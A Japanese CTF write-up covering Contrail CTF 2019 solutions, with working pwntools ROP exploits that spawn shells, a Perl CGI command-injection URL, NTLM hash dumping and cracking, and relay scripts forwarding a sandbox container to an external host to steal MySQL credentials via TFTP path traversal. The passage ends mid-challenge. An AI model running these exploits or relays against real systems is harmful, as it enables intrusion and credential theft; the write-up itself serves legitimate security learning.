はじめに
12月31日から1月4日にかけて開催されたContrail CTF 2019に参加しました。ommadawn46
としてソロでの参加です。正月の暇な時間の大半を費やし、結果的に総合2位になることができました。

この記事は競技中に解いた問題(+競技終了後に解けた問題1つ)のWriteupです。普段あまりWriteupを書かないのですが、ContrailCTFは全体的にエスパー要素が無く、良問が多いコンテストだったので普通に書いてみたくなったのと、順位が良かったので記念に書きたいという気持ちもあり書いてみることにしました。
[web] LegacyBlog (100pts)
問題
I found old mini blog in hdd.
author douro
http://114.177.250.4:9999/cgi-bin/viewer.pl
解法
URLの拡張子が.pl
であることからPerlで書かれたCGIであると推測できます。クエリストリングに?text={ファイル名}
を指定することで任意のファイルの内容を読み出すことができるアプリとなっています。
Perlのopen関数にユーザ入力値を直接渡してしまうと即座にOSコマンドインジェクションが可能となってしまい危険である、ということは古い人には有名らしいです(参考)。このサイトもどうやらユーザ入力値をそのままopen関数に渡しているようで?text=|{OSコマンド}|
を指定するとOSコマンドの実行結果が表示されます。
カレントディレクトリにはflagがなかったので、あれこれ探索しているとルートディレクトリにflag
というファイルがあることが分かりました。ls -l
で権限を確認すると---x--x--x
となっており、実行可能ファイルであると推測して実行したところflagが表示されました。
http://114.177.250.4:9999/cgi-bin/viewer.pl?text=|../../../../../../../../flag|
ctrctf{Th1s_1s_01d_cg1_exp101t}
余談ですが、open関数に関してはRubyも同様の仕様になっているのでWebアプリで使用する際は注意が必要です。
[forensics] Persistence (100pts)
問題
Can you find persistence? https://www.dropbox.com/s/yoge7ix39jyrpnv/forensics_persistence.arn?dl=0
author narupi
配布ファイルが1つ。中身はAutorunsの実行結果ファイル(.arn)です。
解法
WindowsマシンでAutoruns.exeを起動し、配布ファイルを読み込ませるとタスクスケジューラに \evil
というあからさまな名前のタスクが登録されています。

タスクが実行しているスクリプトのファイル名がflagになっているのでコピペして終了です。
ctrctf{P3rs1st3nc3_5ch3dul3d_Ta3ks}
[network] debug_port (100pts)
問題
A suspicious script has been executed. https://www.dropbox.com/s/zw76f3qm2k0x3g1/network_debug_port.pcapng?dl=0
author narupi
network_debug_port.pcapng
(パケットダンプファイル)が配布されます。
解法
配布ファイルにstringsをかけるとbase64らしき文字列が見つかります。
❯ strings network_debug_port.pcapng
...省略...
ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo=
デコードすると普通にflagが出てきます。wiresharkを開く必要すら無く解けました。
❯ echo ZWNobyAnY29uZ3JhdHVsYXRpb25zIScKZWNobyAnZmxhZyBpcyAiY3RyY3Rme2QxZF95MHVfY2wwNTNkXzdoM181NTU1X3Awcjc/fSInIAo= | base64 -D
echo 'congratulations!'
echo 'flag is "ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}"'
ctrctf{d1d_y0u_cl053d_7h3_5555_p0r7?}
[pwn] welcomechain (100pts)
問題
Welcome Contrail CTF! Let's chain!
author aqua
nc 114.177.250.4 2226
welcomechain
(ELF 64bit)とlibc.so.6
が配布されます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/welcomechain$ checksec ./welcomechain
[*] '/media/sf_VMShare/CTF/ContrailCTF/welcomechain/welcomechain'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: '/home/ommadawn46/VMShare/CTF/ContrailCTF/welcomechain'
解法
welcome関数の中でfgetsを使ってstdinから256bytes読み込んでいます。しかし、スタック上のバッファは32bytesしか確保されていないので、スタックバッファオーバーフローを引き起こしてリターンアドレスを書き換えることができます。
スタック保護無しかつ、PIEではないバイナリなので普通にROPを組み立てれば攻撃が可能です。以下の順序で処理を実行するROPを組み立てればシェルを取ることができます。
- 任意のlibc関数を指すGOTのアドレスを第1引数として設定
- putsを呼び出しGOT上のlibc関数のアドレスをleak。libc.6.so上のleakさせた関数のオフセットを減算し、libcが配置されているアドレス(libc_base)を割り出す。libc_baseにlibc.6.so上の
execv
、"/bin/sh"
の文字列までのオフセットを加算し、それぞれが配置されているアドレスを割り出す
- welcome関数を再度呼び出す
"/bin/sh"
のアドレスを第1引数として設定
NULL
を第2引数として指定
execv
を呼び出し、シェルを起動
from pwn import *
import sys
LOCAL = sys.argv[1] == "local"
if LOCAL:
p = process("./welcomechain")
else:
p = connect("114.177.250.4", 2226)
puts_got = 0x601020
puts_plt = 0x4005A0
welcome_addr = 0x400740
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
libc_puts_ofs = 0x809C0
libc_execv_ofs = 0xE4FA0
libc_binsh_ofs = 0x1B3E9A
return_addr_ofs = 40
def leak_libc_addr():
payload = "A" * return_addr_ofs
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(welcome_addr)
resp = p.recvuntil("Please Input :")
p.sendline(payload)
resp += p.recvuntil("Your input is : ")
resp += p.recvuntil("Welcome! Contrail CTF!")
puts_addr = u64(resp.split("\n")[-3] + "\x00\x00")
libc_base = puts_addr - libc_puts_ofs
return libc_base
def execv_shell(libc_base):
execv_addr = libc_base + libc_execv_ofs
binsh_addr = libc_base + libc_binsh_ofs
payload = "A" * return_addr_ofs
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(execv_addr)
resp = p.recvuntil("Please Input :")
p.sendline(payload)
resp += p.recvuntil("Your input is : ")
resp += p.recvline()
return resp
if __name__ == "__main__":
libc_base = leak_libc_addr()
resp = execv_shell(libc_base)
p.interactive()
カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。
$ ls
bin
dev
flag
lib
lib32
lib64
welcomeropchain
$ cat flag
ctrctf{W31c0m3!_c0ntr4i1_ctf_r3t2l1bc!}
[misc] Lets_Connct (100pts)
問題
nc 114.177.250.4 2999
author pr0xy
解法
ncでサーバにつなぐとシェルが起動しますが、cd
やls
くらいしかコマンドが使えない状態になっています。カレントディレクトリにflagというファイルがありますが、cat
も無いので簡単には読み出すことはできません。
history
コマンドは使えたので、-r
オプションを使用してflagファイルをhistoryファイルとしてreadさせると内容を読むことができました。
bash-4.4$ history -r flag
history -r flag
bash-4.4$ history
history
1 history -r flag
2 Flag has moved to 3000 port on 172.17.0.10 .
3 history
Flag has moved to 3000 port on 172.17.0.10 .
と言うのがflagの内容です。172.17.0.10:3000にflagがあるということらしいです。
bashには/dev/tcp/{host}/{port}
を使用してTCP通信を行うことができる機能があります。これを利用してexec
にリダイレクトしてみたところflagが表示されました。
bash-4.4$ exec <> /dev/tcp/172.17.0.10/3000
exec <> /dev/tcp/172.17.0.10/3000
bash-4.4$ ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll}
bash: ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll}: command not found
[misc] prime_number (356pts)
問題
it's secret call...
https://youtu.be/-mEdbrioxqY
note : password is upper case.
author aqua
secret.zip
(パスワード付きzipファイル)とsecret_call.wav
(waveファイル)が配布されます。
解法
問題文の動画を見るとsecret_call.wav
が電話番号を押したときに鳴る音であることが分かります。音声ファイルをSonicVisualizerにかけてみると音が鳴るタイミングが一定間隔になっています。音ごとに分離してフーリエ変換すれば「あるタイミングで鳴っている音が、他のどのタイミングの音と同じ音か」は簡単に特定できそうです。

極めて雑なスクリプトですが、以下のスクリプトを実行するとab bc dd e fc dd fd dd gd dd gd b dd fd c cd gd db
という結果になります。ここの各文字が鳴っている音を表しており、同じ文字のところは同じ音が鳴っています。これらの文字を0〜9の数字に置き換えていけば正しい番号になるはずです。
import wave
import string
import numpy as np
import itertools
def fourier(x, w):
n = len(x)
span = n // w
K = []
for i in range(n // w):
sample = x[i * w : (i + 1) * w]
partial = np.fft.fft(sample)
K.append(partial)
return K
if __name__ == "__main__":
pass_len = 18
with wave.open("secret_call.wav", "r") as wave_file:
frames = wave_file.readframes(wave_file.getnframes())
x = np.frombuffer(frames, dtype=np.int16)
ks = fourier(x, 400)
codes, syms = [], []
mute_max = 13056000.0
for i, k in enumerate(ks):
if abs(mute_max - np.abs(k).max()) > 0.1:
sym = np.abs(k).mean()
is_new = True
for sym_ in syms:
if abs(sym - sym_) < 0.001:
is_new = False
codes.append((i, string.ascii_letters[syms.index(sym_)]))
break
if is_new:
syms.append(sym)
codes.append((i, string.ascii_letters[len(syms) - 1]))
prev, place_holders = 0, ""
for i, sym in codes:
if i - prev > 2:
place_holders += " "
place_holders += sym
prev = i
print(place_holders)
文字の置き換え方ですが、問題文から恐らく全ての数字が素数になるのだろうと推測し、全ての文字を置き換える組み合わせについて素数以外の数字が出てくるかをチェックし、素数のみが登場する組み合わせだけを残しました。以下がその結果です。
03 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13
03 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
03 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13
03 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13
07 73 11 2 43 11 41 11 61 11 61 7 11 41 3 31 61 17
07 73 11 5 43 11 41 11 61 11 61 7 11 41 3 31 61 17
23 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13
23 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13
53 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13
53 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
83 37 11 2 47 11 41 11 61 11 61 3 11 41 7 71 61 13
83 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
83 37 11 5 47 11 41 11 61 11 61 3 11 41 7 71 61 13
83 37 11 5 67 11 61 11 41 11 41 3 11 61 7 71 41 13
97 73 11 2 43 11 41 11 61 11 61 7 11 41 3 31 61 17
97 73 11 5 43 11 41 11 61 11 61 7 11 41 3 31 61 17
さらに、ここに出てくる素数を「何番目の素数か」に置き換えていくと以下のようになります。
1 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5
1 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5
1 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5
1 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5
3 20 4 0 13 4 12 4 17 4 17 3 4 12 1 10 17 6
3 20 4 2 13 4 12 4 17 4 17 3 4 12 1 10 17 6
8 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5
8 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5
15 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5
15 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5
22 11 4 0 14 4 12 4 17 4 17 1 4 12 3 19 17 5
22 11 4 0 18 4 17 4 12 4 12 1 4 17 3 19 12 5
22 11 4 2 14 4 12 4 17 4 17 1 4 12 3 19 17 5
22 11 4 2 18 4 17 4 12 4 12 1 4 17 3 19 12 5
24 20 4 0 13 4 12 4 17 4 17 3 4 12 1 10 17 6
24 20 4 2 13 4 12 4 17 4 17 3 4 12 1 10 17 6
全てが26以下になったことから、「アルファベットの何番目か」を表している可能性が高いと推測できます。アルファベットに置き換えます。
BLEAOEMERERBEMDTRF
BLEASEREMEMBERDTMF
BLECOEMERERBEMDTRF
BLECSEREMEMBERDTMF
DUEANEMERERDEMBKRG
DUECNEMERERDEMBKRG
ILECOEMERERBEMDTRF
ILECSEREMEMBERDTMF
PLEAOEMERERBEMDTRF
PLEASEREMEMBERDTMF
WLEAOEMERERBEMDTRF
WLEASEREMEMBERDTMF
WLECOEMERERBEMDTRF
WLECSEREMEMBERDTMF
YUEANEMERERDEMBKRG
YUECNEMERERDEMBKRG
結果を注意深く眺めるとPLEASEREMEMBERDTMF
だけ英語として読める文字列になっています。これを配布ファイルのzipファイルのパスワードとして入力すると正しく展開することができます。
展開するとflag.txtというテキストファイルが出てくるので、適当な方法で読めばflagが手に入ります。
ctrctf{d0_y0u_r3m3mb3r_dtmf?}
あの音、DTMFって言うんですね…何も知らずに解いてしまった。
[forensics] alice's password (304pts)
問題
Alice losts her password...
I lockyou alice's password
https://drive.google.com/open?id=1OXU9szO2h5Y2iikByMKEBSwsEVchuFw-
zip password is md5(alice's password)
author aqua
flag.zip
(パスワード付きzipファイル)とmemdump.mem
(Windowsのメモリダンプファイル)が配布されます。
解法
Aliceのパスワードを手に入れるのが目標の問題です。
Volatilityのimageinfo
を実行すると、Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
のProfileが提案されます。
❯ vol.py imageinfo -f memdump.mem
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/Users/ommadawn46/VMShare/CTF/ContrailCTF/alices_password/memdump.mem)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80002a3c0a0L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80002a3dd00L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2019-12-29 10:04:58 UTC+0000
Image local date and time : 2019-12-29 19:04:58 +0900
取り敢えずWin7SP1x64
をProfileとして使用し、hashdump
を実行してメモリ上のパスワードハッシュを取得します。
❯ vol.py hashdump -f memdump.mem --profile=Win7SP1x64
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Aqua:1000:aad3b435b51404eeaad3b435b51404ee:813ea107eccdab91a1b9c15b67693cb4:::
Alice:1001:aad3b435b51404eeaad3b435b51404ee:19bf8c07d19ea196464115e443854654:::
John The Ripperを使用してパスワードハッシュをクラックします。問題文のI lockyou alice's password
という一文にはワードリストとしてrockyou.txt
を使用しなさいという意図があると受け取りました。
❯ john passhash.txt --wordlist=~/wordlist/rockyou.txt --format=NT
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE4.1 4x4])
Press 'q' or Ctrl-C to abort, almost any other key for status
i<3orange. (Alice)
1g 0:00:00:01 DONE (2020-01-05 19:09) 0.8849g/s 6622Kp/s 6622Kc/s 6622KC/s i<3pld..i<3me7
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
クラックが無事に成功し、Aliceのパスワードがi<3orange.
であることが分かりました。i<3orange.
のMD5ハッシュを配布されたzipファイルのパスワードとして入力するとflagを取得できます。
ctrctf{Y0u_c4n_dump_4nd_cr4ck_hash!}
[rev] DownloaderLog (100pts)
問題
A suspicious process was downloading some files.
https://www.dropbox.com/s/losftwhw7w0718d/log.pcap?dl=0
I ask you for this inspection.
author pr0xy
log.pcap
(パケットダンプファイル)が配布されます。
解法
wiresharkで配布ファイルを開くと、何らかのファイルをダウンロードしているHTTP通信があることが分かります。ダウンロードされたファイルをdumpすると、k7zg2B
(ELF 64bit)と7GNqHT
(テキストファイル)の2つのファイルが出てきます。
k7zg2B
を解析すると、この実行ファイルは「コマンドライン引数で指定されたファイルの内容」と「time(NULL)
で取得した現在時刻」の2つの値に動作が依存していることが分かります。
前者のファイルはdumpで出てきた、もう片方のファイル 7GNqHT
であると推測し、引数に指定してみるもののinvalid :|
と表示されてしまいます。
$ ./k7zg2B 7GNqHT
invalid :|
現在時刻の方が合ってないのが原因であると考えられるので、pcapファイルからファイルがダウンロードされた時刻を特定します。

date
でその時刻にシステム時刻設定を合わせ、バイナリを実行し直すとflagが表示されます。
$ sudo date -s "2019/12/24 16:28:45+09" && ./k7zg2B 7GNqHT
2019年 12月 24日 火曜日 16:28:45 JST
Nice :) Flag is here
ctrctf{u_are_3inary_4na1yst}
[crypto] document_rescue (400pts)
問題
I wanted to give you a secret file, but I found that it was encrypted by a strange program. Can you decrypt it referring to the program?
https://www.dropbox.com/s/4t25svaw4rt1p50/document_rescue.zip?dl=0
author Ciruela
flag.www
(暗号化されたPDFファイル)とencrypt.py
(暗号化スクリプト)が配布されます。以下が暗号化スクリプトの内容です。
import os
target_ext = '.pdf'
def define_keys():
with open('keys.txt', 'r') as f:
a = int(f.readline())
x = int(f.readline())
b = int(f.readline())
modified_header_text = f.readline()[:-1].encode()
return a, x, b, modified_header_text
def encryptor01(a, x, b, m):
return (a * x + b) % m
def encryptor02(filename):
f = open(filename + target_ext, 'rb')
g = open(filename + '.www', 'wb')
a, x, b, modified_header_text = define_keys()
m = pow(2, 32)
assert a < m and x < m and b < m
data = bytearray(f.read())
data_length = len(data)
padding_length = (-data_length) % 4
data += (b'\x00' * padding_length)
data_length += padding_length
index = 0
modified_header = b'%PDF-9.9'
modified_header += modified_header_text
while True:
if index >= len(modified_header):
break
data[index] = modified_header[index]
index += 1
index = 0
while True:
if index == data_length:
break
plain = int.from_bytes(data[index:index + 4], 'big')
x = encryptor01(a, x, b, m) ^ plain
g.write(x.to_bytes(4, 'big'))
index += 4
f.close()
g.close()
if __name__ == '__main__':
filenames = os.listdir('.')
for filename in filenames:
if filename[-len(target_ext):] == target_ext:
encryptor02(filename[:-len(target_ext)])
os.remove(filename)
os.remove('keys.txt')
解法
この暗号化スクリプトは以下の処理を行うものとなっています。
- PDFファイルのヘッダを何らかの文字列で上書きする。何bytesが上書きされるかは不明だが、上書き後の先頭8bytesの値が判明している(
%PDF-9.9
)
- PDFファイルのbytes長が4で割り切れない場合は末尾を4の倍数の長さになるまで
\x00
でパディングする
- 線形合同法っぽい方法で32bit長の乱数を生成し、乱数と平文をXORしたものを暗号文とするワンタイムパッド的な手法でPDFファイル全体を暗号化する
以下が乱数を生成する関数です。線形合同法とよく似ています。
def encryptor01(a, x, b, m):
return (a * x + b) % m
a
, b
, m
は定数で、x
が乱数生成の種となっています。
def encryptor02(filename):
...省略...
x = encryptor01(a, x, b, m) ^ plain
encryptor02()
を見ると、x
が「1つ前の乱数」ではなく「1つ前の乱数と平文をXORした値」であるというところが線形合同法との違いであることが分かります。しかし、この場合でも線形合同法と同じくy = a * x + b mod m
を満たすy
とx
の組み合わせを複数見つければ、連立方程式を解いてa
とb
を求めることができます。
a
とb
が求まれば乱数を予測することが可能になるため、PDFの暗号化を解くことが出来るはずです。y
とx
の1組目は、ヘッダーの先頭8bytesがソースコードから既知であることを利用して見つけることができます。
x1 = 暗号文の0-4byte
y1 = 暗号文の4-8byte ^ "-9.9"
2組目はPDFの末尾が%EOF
で終了することを利用して見つけることができます。ただし、パディングが入るため、%EOF
, EOF\x00
, OF\x00\x00
, F\x00\x00\x00
の4パターンの平文が考えられます。
x2 = 暗号文の末尾8-4byte
y2 = 暗号文の末尾4-0byte ^ {"%EOF", "EOF\x00", "OF\x00\x00", "F\x00\x00\x00"} のいずれか
パターンが少ないため全て試してうまく行くものを探せば良さそうです。z3を使用して全てのパターンで復号化を試すスクリプトを書きました。
import z3
M = pow(2, 32)
with open("./document_rescue/flag.www", "rb") as f:
enc_d = f.read()
pdf_eof = b"%EOF"
p_1 = int.from_bytes(b"%PDF", "big")
p_2 = int.from_bytes(b"-9.9", "big")
x_2 = int.from_bytes(enc_d[0:4], "big")
x_3 = int.from_bytes(enc_d[4:8], "big")
x_n = int.from_bytes(enc_d[-8:-4], "big")
x_n_plus1 = int.from_bytes(enc_d[-4:], "big")
y_1 = p_1 ^ x_2
y_2 = p_2 ^ x_3
def solve(p_n_bytes):
p_n = int.from_bytes(p_n_bytes, "big")
y_n = p_n ^ x_n_plus1
s = z3.Solver()
a_bv = z3.BitVec("a", 32)
b_bv = z3.BitVec("b", 32)
s.add(y_2 == a_bv * x_2 + b_bv)
s.add(y_n == a_bv * x_n + b_bv)
pattern = 0
while s.check() == z3.sat:
m = s.model()
a = m.evaluate(a_bv).as_long()
b = m.evaluate(b_bv).as_long()
linear_congruential = lambda x: (a * x + b) % M
with open(f"./pdfs/{hex(p_n)}_{pattern}.pdf", "wb") as f:
f.write(p_1.to_bytes(4, "big"))
for i in range(0, len(enc_d) - 4, 4):
x_i = int.from_bytes(enc_d[i : i + 4], "big")
x_i_plus1 = int.from_bytes(enc_d[i + 4 : i + 8], "big")
y_i = linear_congruential(x_i)
p_i = x_i_plus1 ^ y_i
f.write(p_i.to_bytes(4, "big"))
s.add(z3.Or(a_bv != a, b_bv != b))
pattern += 1
if __name__ == "__main__":
for pad in range(0, 4):
p_n_bytes = pdf_eof[pad:] + b"\x00" * pad
solve(p_n_bytes)
実行すると8種類のPDFが出力されます。ヘッダーが上書きされていてそのままでは表示できないので、1つずつPDF Tools Online - Repair PDFに投げて修復していくと無事flagが表示されました。

ctrctf{f1l3_5truc7ur3_1nf0rm471on_4lw4ys_help_u}
[web] NoWallForUs (436pts)
問題
This is saikyou programmer contest.
http://114.177.250.4:1234/
code: https://drive.google.com/file/d/1EHUY2UDK8BGbs-TaSrXs7un1m4Suz7bW/view?usp=sharing
author douro
12/31 2:32 [web]NoWallForUsにおいてmysqlに関する不具合を訂正しました。
Hint: The flag is on the DB server, but you have to get the password first.
Hint2: Read values_default.go and database/
Hint3: You can steal mysql-password from server(Host computer) . That is'nt the default value .
Hint4: Host IP is in executeUsercode.go
配布ファイルは問題のWebサービスのソースコードです。ハードコードされたパスワードなどの値が変更されているのを除けば、問題と同じコードになっています。
調査
AtCoderなどによく似た競技プログラミングサービスを攻撃する問題です。ソースコードを提出すると、提出ごとにDockerコンテナが立ち上がり、その中で提出したコードが実行されるようになっています。問題文のHintによると、flagはDBの中にあるということです。つまり、DBに接続してflagを盗み出すのがこの問題の目標になります。
どこから手をつけていいか分からないので、取り敢えずソースコードを読み解いたり、OSコマンドを実行するスクリプトを提出して環境を調べるといった方法で調査を行いました。その結果、このサービスには以下のような問題が存在することが分かりました。
- 提出コードを実行するコンテナからホストサーバの任意のポートに対してアクセスが可能(SSRF)
- ホストサーバで動作するTFTPデーモンにパストラバーサルの脆弱性がある
- mysqlのパスワードがサーバプログラムのソースコードにハードコードされている
この調査結果から、以下のようなステップを踏むことでDBにログインできそうだという道筋が見えてきます。
- TFTPデーモンに接続し、パストラバーサルを悪用してmysqlのパスワードが記載されたソースコードを盗み出すスクリプトを提出する
- mysqldに
1.
のパスワードを使用してログインし、flagを読み出すスクリプトを提出する
ただ、問題はスクリプトが実行されるコンテナには最小限のコマンドしか入っていないことです。tftp
コマンドやmysql
コマンドが使えない中、どうやってTFTPデーモンに接続し、mysqldに接続するかがこの問題難しいところとなっています。
解法
この課題を解決する方法はいくつもあると思われるのですが、今回は「ホストサーバ」と「自分が管理する外部サーバ」の間をコンテナ経由でポートフォワードするスクリプトを作成して提出し、コンテナ上で実行するという方法を取りました。これにより、TLEまでの30秒の間だけコンテナ経由で直接外部からtftp
コマンドやmysql
コマンドでターゲットに接続できるようになります。
tftpはUDP、mysqlはTCPなので、それぞれフォワーディングスクリプトを書きました。
UDP
import socket
import _thread
import time
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
addr_1 = ("172.17.0.1", 4444)
addr_2 = ("104.198.86.99", 55555)
s.sendto(b"\n", addr_1)
s.sendto(b"\n", addr_2)
resp = " "
while True:
resp, server = s.recvfrom(1024)
if server[0] == addr_2[0]:
s.sendto(resp, addr_1)
else:
s.sendto(resp, addr_2)
TCP
import socket
import _thread
import time
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s1.connect(("172.17.0.1", 3306))
s2.connect(("104.198.86.99", 55555))
def forward(source, destination):
string = " "
while string:
string = source.recv(1024)
if string:
destination.sendall(string)
else:
source.shutdown(socket.SHUT_RD)
destination.shutdown(socket.SHUT_WR)
_thread.start_new_thread(forward, (s1, s2))
_thread.start_new_thread(forward, (s2, s1))
while True:
time.sleep(100)
後は、先程建てた道筋通りに外部から攻撃を行います。
TFTPデーモンを攻撃し、ソースコードからmysqlのパスワードを盗み出します。上記のUDP用フォワーディングスクリプトを回しながら、ローカルからtftp
コマンドで接続し、パストラバーサルを悪用してvalues.go
を盗み出します。
❯ tftp 104.198.86.99 55556
tftp> get /../go/src/values/values.go
Received 318 bytes in 0.0 seconds
以下が盗み出したソースコードの内容です。mysqlには、ユーザ名: nowall
, パスワード: jaldsfk
で接続できることが分かります。
package values
const (
MaxWorker = 10
JudgeHostPort = "localhost:8888"
QueHostPort = "localhost:4649"
QuebackHostPort = "localhost:5963"
FileServerHostPort = "localhost:4444"
MySQLDBN = "nowall:jaldsfk@tcp(172.17.0.1:3306)/nowall"
Salt = "SLSLSLFT"
)
DBへの接続
窃取したmysqlパスワードを使用し、DBにログインしてflagを盗み出します。上記のTCP用フォワーディングスクリプトを回しながら、ローカルからmysql
コマンドで接続します。
❯ mysql -h 104.198.86.99 -P 55556 -unowall -pjaldsfk
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1162
Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu)
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
ログインに成功しました。後はソースコードのDBスキーマを参考にし、SQL文を投げればflagを取得できます。
mysql> select * from nowall.flag;
+---------------------------------+
| flag |
+---------------------------------+
| ctrctf{Y0u_4r3_ult1m4t3_h4ck3r} |
+---------------------------------+
1 row in set (0.03 sec)
[pwn] pokebattle (100pts)
問題
Let's Pokemon battle!
author aqua/douro
nc 114.177.250.4 2225
pokebattle
(ELF 64bit)とlibc.so.6
が配布されます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/pokebattle$ checksec pokebattle
[*] '/media/sf_VMShare/CTF/ContrailCTF/pokebattle/pokebattle'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/home/ommadawn46/VMShare/CTF/ContrailCTF/pokebattle'
解法
捕まえたポケモンの名前を入力する処理にバッファオーバーフローの脆弱性があります。捕まえたポケモンの情報は以下のような構造体に格納されます。
struct pokemon {
char name[32];
long hp;
void (*func)(*char) attack_func;
};
name
から40byte先にはattack_func
(関数ポインタ)があり、戦闘時に自分のname
を引数に設定しattack_func
を呼び出します。
この問題ではPIEが有効になっているので、まずはバイナリが配置されているアドレスをデフォルトのattack_func
(kick関数)のアドレスから割り出し、その後printfを使用してlibc関数のアドレスをleakさせます。
libcのベースアドレスが割り出せたら、attack_func
にsystem関数を設定し、name
を"/bin/sh"
にしたポケモンを戦闘させてシェルを起動します。
from pwn import *
LOCAL = sys.argv[1] == "local"
if LOCAL:
p = process("./pokebattle")
else:
p = connect("114.177.250.4", 2225)
def fight():
resp = p.recvuntil("4. Pokemons\n>")
p.sendline("1")
resp += p.recvuntil("Pichu is dead.")
return resp
def poke_ball(slot, name):
resp = p.recvuntil("4. Pokemons\n>")
p.sendline("2")
resp += p.recvuntil("slot :")
p.sendline(str(slot))
resp += p.recvuntil("name :")
p.sendline(name)
def pokemons(slot):
resp = p.recvuntil("4. Pokemons\n>")
p.sendline("4")
resp += p.recvuntil("Select Pokemon :")
p.sendline(str(slot))
return resp
def parse_pokemons(s):
pokes = []
s = s.split("0 . ")[1]
for i in range(1, 10):
poke, s = s.split("%d . " % i)
pokes.append(poke)
pokes.append(s.split("Select Pokemon :")[0])
parsed_pokes = []
for poke in pokes:
name, poke = poke.split(" /HP[")
hp = poke.split("]")[0]
parsed_pokes.append((name, hp))
return parsed_pokes
kick_ofs = 0x10092A
printf_plt_ofs = 0x1007B0
_IO_2_1_stdout_ofs = 0x3EC760
execv_ofs = 0xE4FA0
system_ofs = 0x4F440
if __name__ == "__main__":
fight()
kick_addr_bytes = ""
for i in range(8):
poke_ball(0, "A" * (39 + i))
name = parse_pokemons(pokemons(0))[0][0]
kick_addr_bytes += name[40 + i] if len(name) > 40 + i else "\x00"
kick_addr = u64(kick_addr_bytes)
app_base_addr = kick_addr - kick_ofs
printf_plt_addr = app_base_addr + printf_plt_ofs
poke_ball(0, "A" * 40 + p64(printf_plt_addr))
poke_ball(0, "!@!%08lx!@!")
resp = fight()
_IO_stdfile_1_lock_addr = int(resp.split("!@!")[1].split("!@!")[0], 16)
_IO_2_1_stdout_addr = _IO_stdfile_1_lock_addr - 0x1160
libc_base_addr = _IO_2_1_stdout_addr - _IO_2_1_stdout_ofs
system_addr = libc_base_addr + system_ofs
poke_ball(0, "A" * 40 + p64(system_addr))
poke_ball(0, "/bin/sh")
resp = p.recvuntil("4. Pokemons\n>")
p.sendline("1")
p.interactive()
カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。
$ ls
bin
dev
flag
lib
lib32
lib64
pokebattle
$ cat flag
ctrctf{m394_1nd3x_m0nst3r}
[pwn] babyheap (356pts)
問題
You can solve it.
author douro
nc 114.177.250.4 2223
babyheap
(ELF 64bit)とlibc.so.6
が配布されます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/babyheap$ checksec babyheap
